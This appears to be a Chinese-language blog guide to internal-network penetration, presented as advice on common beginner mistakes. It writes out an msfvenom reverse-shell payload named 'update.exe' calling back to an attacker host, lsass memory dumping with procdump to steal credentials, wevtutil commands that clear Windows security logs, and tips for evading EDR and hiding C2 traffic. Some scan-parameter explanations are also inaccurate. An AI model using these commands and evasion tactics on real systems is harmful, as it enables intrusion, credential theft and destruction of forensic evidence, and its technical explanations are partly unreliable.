1. 内网渗透入门避坑指南

刚接触内网渗透的新手最容易犯的错误，往往不是技术层面的问题，而是基础环境配置和操作习惯上的疏漏。记得我第一次做内网测试时，就因为没关闭杀毒软件导致精心构造的payload被拦截，整个下午的工作白费。这种低级错误在内网渗透中比比皆是，而它们完全可以通过规范操作来避免。

内网环境相比外网渗透有着显著差异：网络结构更复杂、安全设备更多样、防护策略更严格。一个看似简单的扫描操作，可能因为触发了内网IDS而导致整个测试暴露。新手常犯的典型错误包括：使用默认配置的工具、忽视流量伪装、在错误的时间段进行操作等。这些问题90%都可以通过事前准备和规范操作来规避。

2. 环境准备阶段的致命陷阱

2.1 工具配置不当

Kali Linux预装工具虽然方便，但直接使用默认配置会留下明显特征。我曾见过一个案例：攻击者使用默认的Metasploit payload，被防守方通过特征匹配直接溯源到攻击时间点。正确的做法是：

# 修改Metasploit默认配置 echo "set ExitOnSession false" >> ~/.msf4/msfconsole.rc echo "set EnableStageEncoding true" >> ~/.msf4/msfconsole.rc echo "set StageEncoder x86/shikata_ga_nai" >> ~/.msf4/msfconsole.rc

关键提示：所有工具首次使用前都应检查默认参数，特别是与网络特征相关的设置。

2.2 网络环境隔离失败

在内网渗透中，测试机必须与目标网络正确隔离。常见错误包括：

• 测试机同时连接互联网和内网
• 虚拟机网络模式设置不当（应使用Host-Only或自定义NAT）
• 未关闭共享文件夹和剪贴板同步

建议的操作流程：

1. 物理机断开所有网络连接
2. 虚拟机网络设置为Host-Only模式
3. 验证网络隔离（尝试ping公网地址应失败）
4. 通过加密U盘传输必要工具

3. 扫描探测阶段的典型错误

3.1 暴力扫描触发告警

Nmap的默认扫描参数在内网中就像警笛声一样明显。替代方案：

# 错误做法（触发大量告警） nmap -T4 -A 192.168.1.0/24 # 正确做法（低速隐蔽扫描） nmap -T2 -n -Pn -sS -sV --version-intensity 1 \ --max-retries 1 --max-scan-delay 20ms \ --scan-delay 10ms --min-rate 50 192.168.1.0/24

参数说明：

• -T2：降低扫描速度
• --scan-delay：添加随机延迟
• --min-rate 50：限制最小发包速率

3.2 忽视网络流量分析

内网中常见的监控点：

• 网络流量分析设备（如Darktrace）
• 终端EDR解决方案
• 网络层IDS/IPS

规避技巧：

• 使用合法协议的端口进行通信（如HTTP over 443）
• 保持流量特征与正常业务一致
• 避免在业务高峰时段进行扫描

4. 权限维持阶段的常见失误

4.1 后门特征过于明显

新手常犯的错误是使用公开的后门程序或默认配置。改进方案：

1. 自定义Meterpreter payload：

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 \ LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o update.exe

2. 修改C2通信特征：

• 自定义HTTP头部字段
• 使用合法域名作为C2服务器
• 模仿正常软件更新流量模式

4.2 权限提升缺乏策略

内网中不应盲目尝试提权。正确流程：

1. 先收集系统信息（补丁、安装软件、服务账户）
2. 根据信息选择最隐蔽的提权方式
3. 优先使用合法工具（如PsExec）而非漏洞利用
4. 操作后清除安全日志

5. 横向移动中的高风险操作

5.1 凭证获取方式不当

避免直接使用mimikatz.exe等敏感工具。替代方案：

• 使用Procdump导出lsass进程内存离线分析

procdump.exe -accepteula -ma lsass.exe lsass.dmp

• 通过WMI远程执行命令获取凭证
• 利用计划任务部署轻量级窃取脚本

5.2 忽视网络拓扑感知

在内网横向移动前必须绘制网络拓扑。关键信息包括：

• 子网划分情况
• 防火墙规则
• 域控制器位置
• 关键业务服务器分布

推荐工具：

• BloodHound 用于分析域环境
• PingCastle 评估域安全状况
• CrackMapExec 进行安全的网络探测

6. 痕迹清理与应急响应

6.1 日志清除不彻底

Windows系统需要清理的日志位置：

• 安全日志（Event ID 4624/4625）
• PowerShell操作日志（Microsoft-Windows-PowerShell/Operational）
• RDP连接记录（TerminalServices-LocalSessionManager）

自动化清理脚本示例：

wevtutil cl Security wevtutil cl System wevtutil cl Application Remove-Item -Path "$env:AppData\Microsoft\Windows\Recent\*" -Force

6.2 忽视防守方溯源手段

现代EDR系统的常见取证点：

• 进程创建日志
• 文件操作记录
• 网络连接历史
• 注册表修改项

反制措施：

• 使用内存注入而非磁盘写入
• 通过合法进程注入执行代码
• 使用白名单程序加载恶意代码

7. 实战经验与技巧总结

在内网渗透测试中，我总结出三条黄金法则：

1. 慢即是快 - 所有操作都应控制在业务正常流量特征范围内
2. 知其所以然 - 每个工具使用前都要理解其工作原理和网络特征
3. 留有后路 - 任何操作都要有应急清理方案

一个典型的成功案例：在某次测试中，我们通过以下步骤实现了完全隐蔽的渗透：

1. 使用合法的软件更新通道投递payload
2. 利用正常的IT管理协议（如WMI）进行横向移动
3. 通过业务系统的合法API提取数据
4. 所有操作都在正常工作时段进行，流量混合在正常业务中

最终防守方的SIEM系统完全没有产生有效告警，直到我们出具报告时才发现渗透路径。这充分证明了隐蔽性和规范操作的重要性。

内网渗透本质上是一场猫鼠游戏，而90%的"老鼠"之所以被抓，不是因为技术不够，而是因为忽视了基础的操作规范。记住：在内网环境中，你的每个操作都可能被记录，唯一的优势就是防守方可能不会实时查看所有日志。不要成为那个因为低级错误而暴露的攻击者。